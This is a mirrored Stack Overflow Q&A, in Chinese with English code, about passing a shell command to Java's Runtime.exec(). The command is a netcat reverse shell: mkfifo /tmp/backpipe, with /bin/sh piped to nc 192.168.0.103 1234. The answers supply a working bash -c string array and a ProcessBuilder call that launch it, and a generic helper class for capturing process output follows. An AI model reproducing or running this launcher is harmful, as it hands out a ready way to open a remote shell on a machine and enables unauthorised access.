繁体   English   中英

java Runtime.getRuntime()。exec()无法运行命令

[英]java Runtime.getRuntime().exec() unable to run commands

我需要从Runtime.getRuntime()。exec()内部运行以下命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

我应该以哪种格式将其传递给运行该行的java程序:

Process localProcess = Runtime.getRuntime().exec(myStr);

我上面要执行的整个命令在哪里,myStr在哪里?

我已经尝试过的事情:

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"

给我错误:

无法运行程序“ [“ / bin / bash”,“-c”,“ / usr / bin / mkfifo”:错误= 2,没有此类文件或目录

如果我只是从终端运行命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

它运行得像个符咒,但不是通过runtime.exec()运行的。

尝试使用ProcessBuilder而不是Runtime

试试这个:

Process p = new ProcessBuilder().command("bash","-c",cmd).start();

cmd是保存shell命令的变量。


更新:

String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);

这是有效的Java代码,它说明了调用Runtime.getRuntime()。exec()的更多方面,例如等待过程完成以及捕获输出和错误流:

import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;

class Test {
    public static void dump(InputStream is) {
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;

        try {
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            System.out.println("read line threw exception");
        }
    }
    public static void run(String cmd) {
        try {
                Process p = Runtime.getRuntime().exec(cmd);
                p.waitFor();
                int status = p.exitValue();
                System.out.println("Program terminated with exit status " + status);

                if (status != 0) {
                    dump(p.getErrorStream());
                }
                else {
                    dump(p.getInputStream());
                }
            } catch (Exception e) {
                System.out.println("Caught exception");
        }
    }
};

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM